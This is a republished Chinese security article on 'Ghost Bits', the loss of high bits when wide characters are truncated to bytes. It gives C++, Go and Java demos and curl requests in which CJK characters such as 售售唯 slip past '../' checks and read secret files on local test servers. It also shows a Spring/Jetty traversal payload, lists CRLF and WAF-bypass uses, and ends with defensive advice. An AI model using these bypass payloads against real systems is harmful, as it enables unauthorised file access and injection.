GhostBits(幽灵比特):被强制类型转换”吃掉”的高位

admin 2026-06-26 10:02:33 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: GhostBits是一种由宽字符向窄字节强制类型转换时高位截断引发的新型攻击面。当多字节字符(如Javachar/Gorune)被截断为单字节时,丢弃的高位可能形成危险ASCII序列(如…/、\r\n),从而绕过基于字符串的安全校验。文档通过C++/Go/Java示例演示了路径穿越、WAF绕过等攻击场景,并给出防御建议:避免直接类型转换、使用显式编码、在最终形态进行安全校验。 综合评分: 85 文章分类: 漏洞分析,WEB安全,代码审计,应用安全,安全开发


cover_image

Ghost Bits(幽灵比特):被强制类型转换”吃掉”的高位

原创

哈啰信息安全 哈啰信息安全

哈啰安全应急响应中心 HSRC

2026年6月23日 15:27 上海

在小说阅读器读本章

去阅读

Ghost Bits(幽灵比特):

被强制类型转换”吃掉”的高位

一种由「宽字符 → 窄字节」强制类型转换截断引发的新型攻击面;

参考议题: BlackHat Asia 2026《Cast Attack — A New Threat Posed by Ghost Bits in Java》(Xinyu Bai / Zhihui Chen)

参考链接:https://jishuzhan.net/article/2049323746595504129

配套代码: ghostbitscppdemo.cpp、 GhostBitsGoDemo.go、 GhostBitsJavaDemo.java、 SimpleHttpServer.java

01.

一句话概括

很多语言里”字符”是多字节的(Java/JS 的 char 是 16 位、Go 的 rune 是 32 位、C++ 的wchar_t 是 16/32 位),但大量代码在把”字符”写成”字节”时,只保留了最低 8 位,悄悄丢弃了高位。这些被丢弃的高位就是 Ghost Bits(幽灵比特)

后果是:一个在字符层面看起来人畜无害的输入(比如几个中文字),在被截断成字节之后, 会变成攻击者真正想要的 ASCII 序列(../、%、\r\n、@ 等),从而绕过所有基于字符串的安全校验。

售(U+552E) --- 只取低8位 ---> 0x2E = '.'唯(U+552F) --- 只取低8位 ---> 0x2F = '/'

于是 售售唯这三个中文字符,在通过了”是否包含 ../“的检查之后,被截断成了真正的../

02.

根因:char 是 16 位,

byte 只接受 8 位

以 Java 为例,char 是 16 位的 UTF-16 码元,而 byte 是 8 位。 当代码执行下面这些操作时,高 8 位会被静默丢弃:

char ch = '售';          // U+552E, 二进制 0101 0101 0010 1110byte b  = (byte) ch;    // 只剩 0010 1110 = 0x2E = '.'

这种”位坍缩(bits collapse)”在很多看似无关的 API 内部都会发生。BlackHat 议题中给出的常见 Ghost Bits sink:

不仅是 Java,任何存在”宽 → 窄”转换的语言都可能中招(C/C++ 的 wchar_t→char、Go 的 rune→byte、 Python 早期的字节/字符串混用等)。

03.

攻击字符速查表

利用”低 8 位等于目标 ASCII”的原理,可以为任意危险字符寻找一个”马甲”。下表是 Demo 中用到的字符:

同一个 ASCII 可以有成百上千个”马甲”字符,这正是 Ghost Bits 难以被 WAF 黑名单覆盖的原因。

04.

Ghost Bits 的多形态(Polymorphism)

同一个底层缺陷,可以打出完全不同的攻击效果:

  • 路径穿越 / 任意文件读取:售售唯 → ../
  • 认证绕过:穿越到受保护资源(Openfire)
  • WAF 绕过:让 WAF 看到”乱码”,让后端解码出真实 payload(BCEL、Jackson、Fastjson、Tomcat 上传、GeoServer)
  • 请求走私 / 响应拆分(CRLF):瘍瘊 → \r\n(Apache HttpClient、JDK HttpServer)
  • 协议注入(SMTP):在邮件地址里注入 \r\n 劫持邮件会话(Angus Mail / Jira / Confluence)
  • XSS:把 \r\n 注入到响应头,拆出 HTML 正文

05.

代码示例讲解

仓库内提供了 4 个可直接运行的 Demo,分别从”概念演示”到”真实 HTTP 场景”层层递进。

5.1 C++ 概念演示 —— ghostbitscppdemo.cpp

演示 wchar_t → char 的截断:宽字符串校验 L”..” 通过,截断后却变成 ../。

g++ -std=c++17 ghostbitscppdemo.cpp -o ghostbits_demo./ghostbits_demo

运行输出:

[+] 攻击输入(宽字符显示): gb_public/售售唯gb_secret.txt    宽字符检查 (是否含 L".."): 通过 [误判为安全][!] 窄化后真实路径: gb_public/../gb_secret.txt    bytes: gb_public/../gb_secret.txt[*] 读取文件内容:🔒 机密内容: TOP-SECRET-FLAG{ghost_bits_cpp}

关键代码:

// 安全检查只看宽字符里有没有 L".."boolisSafeWide(conststd::wstring& path){&nbsp; &nbsp;&nbsp;return&nbsp;path.find(L"..") == std::wstring::npos;}// 不安全的窄化:static_cast<char>(wc) 丢弃高位 —— Ghost Bitsstd::stringwideToNarrowUnsafe(conststd::wstring& ws){&nbsp; &nbsp; std::string result;&nbsp; &nbsp;&nbsp;for&nbsp;(wchar_t&nbsp;wc : ws) result.push_back(static_cast<char>(wc));&nbsp; &nbsp;&nbsp;return&nbsp;result;}

5.2 Go 概念 + 服务演示 —— GhostBitsGoDemo.go

演示 rune → byte 的截断。程序默认运行自检模式(执行后自动退出),也可加 serve 参数启动 HTTP 服务。

# 自检模式:直接复现攻击链go&nbsp;run GhostBitsGoDemo.go
# 服务模式:启动 HTTP 服务(:8080)go&nbsp;run GhostBitsGoDemo.go&nbsp;serve

自检输出:

=== Ghost Bits Go 自检演示 ===[+] 攻击输入(rune): gb_public/售售唯gb_secret.txt&nbsp; &nbsp; isSafePath(含"../"?):&nbsp;false&nbsp; &nbsp; 安全检查通过(误判为安全)[!] 窄化后路径: gb_public/../gb_secret.txt &nbsp;(bytes: gb_public/../gb_secret.txt)[+] 越权读取成功,内容: 🔒 机密数据: TOP-SECRET-FLAG{ghost_bits_go}

服务模式下的攻防对比(已实测):

# 字面量 ../(URL 编码)→ 被拦截curl&nbsp;'http://localhost:8080/read?file=%2e%2e%2fgb_secret.txt'# => 路径包含 ../,拒绝访问
# Ghost Bits 售售唯(UTF-8 编码)→ 绕过,读取机密curl&nbsp;'http://localhost:8080/read?file=%E5%94%AE%E5%94%AE%E5%94%AFgb_secret.txt'# => 🔒 机密数据: TOP-SECRET-FLAG{ghost_bits_go}

关键代码:

func&nbsp;narrowUnsafe(s&nbsp;string)string{&nbsp; &nbsp; b :=&nbsp;make([]byte,&nbsp;0,&nbsp;len(s))&nbsp; &nbsp;&nbsp;for&nbsp;_, r :=&nbsp;range&nbsp;s {&nbsp; &nbsp; &nbsp; &nbsp; b =&nbsp;append(b,&nbsp;byte(r))&nbsp;// 🚨 Ghost Bits:rune(int32) 截断为 byte(uint8)&nbsp; &nbsp; }&nbsp; &nbsp; returnstring(b)}

5.3 Java 演示(Spring CVE-2025-41242 思路)

—— GhostBitsJavaDemo.java

复现议题中最精彩的 payload 阮严灵丰丰甲来。它在 char 层面不含 .//../,通过 Spring 的 isInvalidPath; 截断后变成 .%u002e;底层 Jetty 支持 %u 解码,把它归一化成 ..,从而形成穿越。

javac&nbsp;-encoding UTF-8&nbsp;GhostBitsJavaDemo.javajava&nbsp;GhostBitsJavaDemo

运行输出:

=== Ghost Bits Java 演示 (Spring CVE-2025-41242&nbsp;思路) ===[+] 原始载荷(char): &nbsp; &nbsp; &nbsp; &nbsp;阮严灵丰丰甲来[1] isInvalidPath 检查: &nbsp; &nbsp;false&nbsp;(通过-误判为安全)[2] 截断后(uriDecode): &nbsp; &nbsp; .%u002e &nbsp; bytes: .%u002e[3] 服务器归一化: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"/.%u002e/"&nbsp;->&nbsp;"/../"[4] 最终穿越路径: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/static/../WEB-INF/application.properties&nbsp; &nbsp; 规范化后实际访问: &nbsp; &nbsp; &nbsp;/WEB-INF/application.properties

payload 的”炼金术”(每个字截断后拼出 .%u002e):

阮 U+962E ->&nbsp;0x2E'.'&nbsp; &nbsp; 严 U+4E25&nbsp;->&nbsp;0x25'%'&nbsp; &nbsp; 灵 U+7075&nbsp;->&nbsp;0x75'u'丰 U+4E30&nbsp;->&nbsp;0x30'0'&nbsp; &nbsp; 丰 U+4E30&nbsp;->&nbsp;0x30'0'&nbsp; &nbsp; 甲 U+7532&nbsp;->&nbsp;0x32'2'&nbsp; &nbsp; 来 U+6765&nbsp;->&nbsp;0x65'e'

双重解析(Double Parsing)是核心:Spring 在 char 层只看到无害的中文(静态防御绿灯), Jetty 在物理层把截断 + 归一化后的 .. 当作真实穿越执行。两者对同一份输入的”理解”不一致,就是漏洞。

5.4 真实 HTTP 场景 —— SimpleHttpServer.java

一个极简静态文件服务器,显式禁止了 ../,看起来很安全,但内部用了 Ghost Bits sink StringBufferInputStream.read()(已废弃,read() 只返回 char 的低 8 位)。

javac&nbsp;-encoding UTF-8&nbsp;SimpleHttpServer.javajava&nbsp;SimpleHttpServer

攻防对比(已实测):

# 1) 正常访问公开文件curl&nbsp;'http://localhost:8080/?file=test.txt'# => bbbbb
# 2) 字面量 ../(URL 编码)→ 被安全检查拦截curl&nbsp;'http://localhost:8080/?file=%2e%2e%2fghostbits_secret.txt'# => Forbidden: Path traversal (../) is not allowed
# 3) Ghost Bits 售售唯 → 绕过检查,越权读取 public 之外的机密文件curl&nbsp;'http://localhost:8080/?file=%E5%94%AE%E5%94%AE%E5%94%AFghostbits_secret.txt'# => 🔒 机密文件: TOP-SECRET-FLAG{ghost_bits_http_server}

漏洞点(截断 + 缺少穿越后校验):

// URL 解码后得到 "售售唯...",不含字面量 "../",通过安全检查if&nbsp;(decodedFile.contains("../") || decodedFile.contains("..\\")) {&nbsp;/* 403 */&nbsp;}
// 🚨 StringBufferInputStream.read() 把 char 截断为 byte:售售唯 -> "../"byte[] processedName =&nbsp;new&nbsp;byte[decodedFile.length()];try&nbsp;(StringBufferInputStream&nbsp;sbis&nbsp;=&nbsp;new&nbsp;StringBufferInputStream(decodedFile)) {&nbsp; &nbsp;&nbsp;int&nbsp;idx&nbsp;=&nbsp;0, b;&nbsp; &nbsp;&nbsp;while&nbsp;((b = sbis.read()) != -1&nbsp;&& idx < processedName.length)&nbsp; &nbsp; &nbsp; &nbsp; processedName[idx++] = (byte) b;}File&nbsp;targetFile&nbsp;=&nbsp;new&nbsp;File(baseDir,&nbsp;new&nbsp;String(processedName)).getCanonicalFile();// ❌ 缺少"targetFile 是否仍在 baseDir 之内"的校验 —— 穿越得逞

06.

真实世界漏洞案例

(议题节选)

convertHexDigit 中 >(0x3E)为何等于 E:0x3E & 0x1F = 0x1E = 30,再 30 – 16 = 14, 十进制 14 即十六进制 E。高位在位运算中被”坍缩”掉了,这就是 Hex 解码里的 Ghost Bits。

07.

为什么 %2> 比传统 %u002e 更危险

08.

防御建议

给开发者:

  • 永远不要用 (byte) ch、ch & 0xff 这类操作直接把字符转字节。处理文本统一走显式编码: str.getBytes(StandardCharsets.UTF_8),并在转换前校验字符是否在合法范围(如 ASCII 0–127)。
  • 远离废弃 API:StringBufferInputStream、DataOutputStream.writeBytes(String)、String.getBytes(int,int,byte[],int) 等。
  • 安全校验要放在最终使用形态上,而不是中间字符串形态。路径穿越的正确兜底是规范化后做目录归属校验
File&nbsp;base&nbsp;=&nbsp;new&nbsp;File(BASE_DIR).getCanonicalFile();File target =&nbsp;new&nbsp;File(base, userInput).getCanonicalFile();if&nbsp;(!target.toPath().startsWith(base.toPath())) {&nbsp; &nbsp;&nbsp;thrownew&nbsp;SecurityException("path traversal");}
  • 邮件地址、HTTP 头等字段,注入前必须过滤 \r \n 及非 ASCII 控制字符。

给安全团队 / 厂商:

  • 检测应面向 sink(如上表)做污点分析,而非仅靠黑名单匹配字符串。
  • 在 WAF / 网关侧对非 ASCII 字符、可疑 %u / %x / 半字节编码做归一化后再检测。
  • 注意”双重解析”:前置代理与后端对同一输入的解码必须保持一致。

给组织:

  • 主动排查产品中潜藏的 Ghost Bits sink,在被攻击者发现之前修复这些”休眠”风险。

09.

结语

Ghost Bits 不是某一个 CVE,而是一类贯穿编码、解码、I/O 的系统性缺陷。 只要”宽 → 窄”的转换还在静默丢位,安全校验与实际执行之间就存在认知鸿沟。 正如议题所说:This is just the beginning —— 我们才刚刚触及这个攻击面的表层。

—附件中的文件如有需要可关注公众号并在公众号中留言


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:哈啰安全应急响应中心 HSRC 哈啰信息安全 哈啰信息安全《Ghost Bits(幽灵比特):被强制类型转换”吃掉”的高位》

ClaudeCode简介 网络安全文章

ClaudeCode简介

文章总结: ClaudeCode是Anthropic推出的终端原生AI编程助手,具备直接操作文件系统、执行Shell命令和全项目理解能力。其核心特性包括自主调试
评论:0   参与:  0